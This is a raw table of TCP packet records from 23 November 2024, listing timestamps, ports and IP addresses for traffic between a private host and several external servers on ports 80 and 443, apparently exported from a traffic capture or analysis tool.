Nov 23, 2024 20:23:28.620146036 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.620672941 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.621112108 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.621155977 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.621252060 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.621517897 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.622236967 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.622297049 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.622361898 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.622402906 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.623310089 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.623347044 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.623430014 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.623527050 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.624422073 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.624464989 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.624512911 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.624557018 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.625569105 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.625617027 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.625628948 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.625669003 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.626626968 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.626689911 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.626725912 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.626766920 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.627743959 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.627799034 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.627840996 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.643929958 CET	80	49810	185.215.113.206	192.168.2.4
Nov 23, 2024 20:23:28.710527897 CET	49816	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:28.710556984 CET	443	49816	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:28.712420940 CET	49816	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:28.712788105 CET	49816	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:28.712805033 CET	443	49816	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:28.965492010 CET	80	49810	185.215.113.206	192.168.2.4
Nov 23, 2024 20:23:28.965550900 CET	49810	80	192.168.2.4	185.215.113.206
Nov 23, 2024 20:23:29.362771034 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.363359928 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.363389969 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.363816023 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.363820076 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.366303921 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.368932009 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.368942022 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.369311094 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.369316101 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.375304937 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.376386881 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.376471043 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.376905918 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.376919985 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.580121994 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.583921909 CET	49814	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.583950043 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.584402084 CET	49814	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.584405899 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.635409117 CET	49817	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:29.635467052 CET	443	49817	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:29.635567904 CET	49817	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:29.636991978 CET	49817	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:29.637021065 CET	443	49817	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:29.813975096 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.814043999 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.814135075 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.816273928 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.816447020 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.816519976 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.818144083 CET	49812	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.818161011 CET	443	49812	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.819950104 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.819957972 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.819968939 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.819973946 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.825923920 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.826072931 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.826148033 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.832916021 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.832959890 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.833544016 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.859584093 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.859607935 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.859688044 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.863240004 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.863240004 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.863267899 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.863293886 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.894514084 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.894540071 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:29.906722069 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:29.906738997 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.031850100 CET	443	49816	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:30.031959057 CET	49816	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:30.046637058 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.046673059 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.046796083 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.052475929 CET	49816	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:30.052494049 CET	443	49816	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:30.052717924 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.052726984 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.053394079 CET	443	49816	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:30.057135105 CET	49816	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:30.057235003 CET	49816	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:30.057240009 CET	443	49816	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:30.222163916 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.222234011 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.222289085 CET	49814	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.222443104 CET	49814	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.222460032 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.222470045 CET	49814	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.222476959 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.225147963 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.225220919 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.225322962 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.225488901 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.225528002 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.394207954 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.394720078 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.394743919 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.395328999 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.395343065 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.754940033 CET	443	49816	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:30.755192995 CET	49816	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:30.755196095 CET	443	49816	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:30.755260944 CET	49816	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:30.838466883 CET	49802	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:30.838721991 CET	49822	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:30.842163086 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.842323065 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.842459917 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.842500925 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.842509031 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.842525005 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.842529058 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.845923901 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.845983028 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.846066952 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.846309900 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:30.846343994 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:30.963063955 CET	80	49822	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:30.963144064 CET	49822	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:30.963186979 CET	80	49802	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:30.963248968 CET	49802	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:30.963474989 CET	49822	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:31.036778927 CET	443	49817	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:31.036859989 CET	49817	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:31.077862024 CET	49817	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:31.077909946 CET	443	49817	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:31.078161001 CET	443	49817	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:31.089744091 CET	80	49822	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:31.118551970 CET	49817	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:31.133759022 CET	49817	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:31.133799076 CET	49817	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:31.133856058 CET	443	49817	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:31.684564114 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:31.696732044 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:31.704086065 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:31.704102039 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:31.704555035 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:31.704559088 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:31.705082893 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:31.705096006 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:31.705472946 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:31.705478907 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:31.799380064 CET	443	49817	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:31.799489021 CET	443	49817	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:31.800030947 CET	49817	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:31.804827929 CET	49817	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:31.804871082 CET	443	49817	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:31.804903984 CET	49817	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:31.804919958 CET	443	49817	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:31.843574047 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:31.860955000 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:31.860955000 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:31.860969067 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:31.860977888 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:31.887447119 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:31.887482882 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:31.887854099 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:31.889509916 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:31.889523029 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:32.105290890 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:32.105310917 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:32.105389118 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:32.105922937 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:32.105937958 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:32.140176058 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.140332937 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.141549110 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.146992922 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.146992922 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.147016048 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.147032022 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.149447918 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.149473906 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.149655104 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.162000895 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.162018061 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.165999889 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.166559935 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.166606903 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.167900085 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.167915106 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.289864063 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.290029049 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.293518066 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.303462029 CET	80	49822	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:32.303527117 CET	49822	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:32.304493904 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.304553986 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.305577040 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.323560953 CET	49819	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.323570013 CET	443	49819	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.326601028 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.326622009 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.326646090 CET	49820	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.326651096 CET	443	49820	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.674222946 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.674288034 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.674412012 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.694245100 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.728651047 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:32.728979111 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:32.729532003 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.729532003 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.729576111 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.729617119 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.729654074 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.729671001 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.730495930 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.730509043 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.775758982 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.775811911 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.777616978 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.785398006 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.785414934 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.785592079 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.785609007 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.786684990 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.786705017 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.786730051 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.786784887 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.787410021 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.787411928 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:32.787421942 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.787424088 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:32.854326963 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:32.854388952 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:32.854422092 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:32.854469061 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:32.863706112 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:32.926053047 CET	49810	80	192.168.2.4	185.215.113.206
Nov 23, 2024 20:23:32.985389948 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:33.112616062 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.112684011 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.114717007 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.114732027 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.114969969 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.116844893 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.118149042 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.118185043 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.118273973 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.118307114 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.118407011 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.118427992 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.118549109 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.118575096 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.118716955 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.118743896 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.118896008 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.118922949 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.118937016 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.119061947 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.119096041 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.145854950 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:33.145991087 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:33.146059036 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:33.159346104 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.159533978 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.159574986 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.159590006 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.160775900 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:33.160835981 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:33.160873890 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:33.160888910 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:33.194047928 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:33.194061995 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:33.194123030 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:33.194540977 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:33.194552898 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:33.203336954 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.203512907 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.203561068 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.203598976 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.247342110 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.247409105 CET	49824	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.291343927 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.423399925 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.423482895 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.427721977 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.427727938 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.427989960 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.429822922 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.429899931 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:33.429913998 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:33.712845087 CET	443	49824	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:34.223984957 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.224082947 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.224087954 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.224107027 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.224118948 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.224132061 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.224148989 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.224172115 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.224183083 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.224200964 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.224201918 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.224209070 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.224212885 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.224267960 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.224267960 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.224288940 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.226047039 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.310534954 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:34.311463118 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:34.311463118 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:34.311480045 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:34.311496019 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:34.494411945 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.494491100 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.605822086 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:34.605895042 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:34.605921030 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:34.605957985 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:34.605986118 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:34.605999947 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:34.607475996 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:34.614295006 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:34.614365101 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:34.614376068 CET	49825	443	192.168.2.4	104.21.33.116
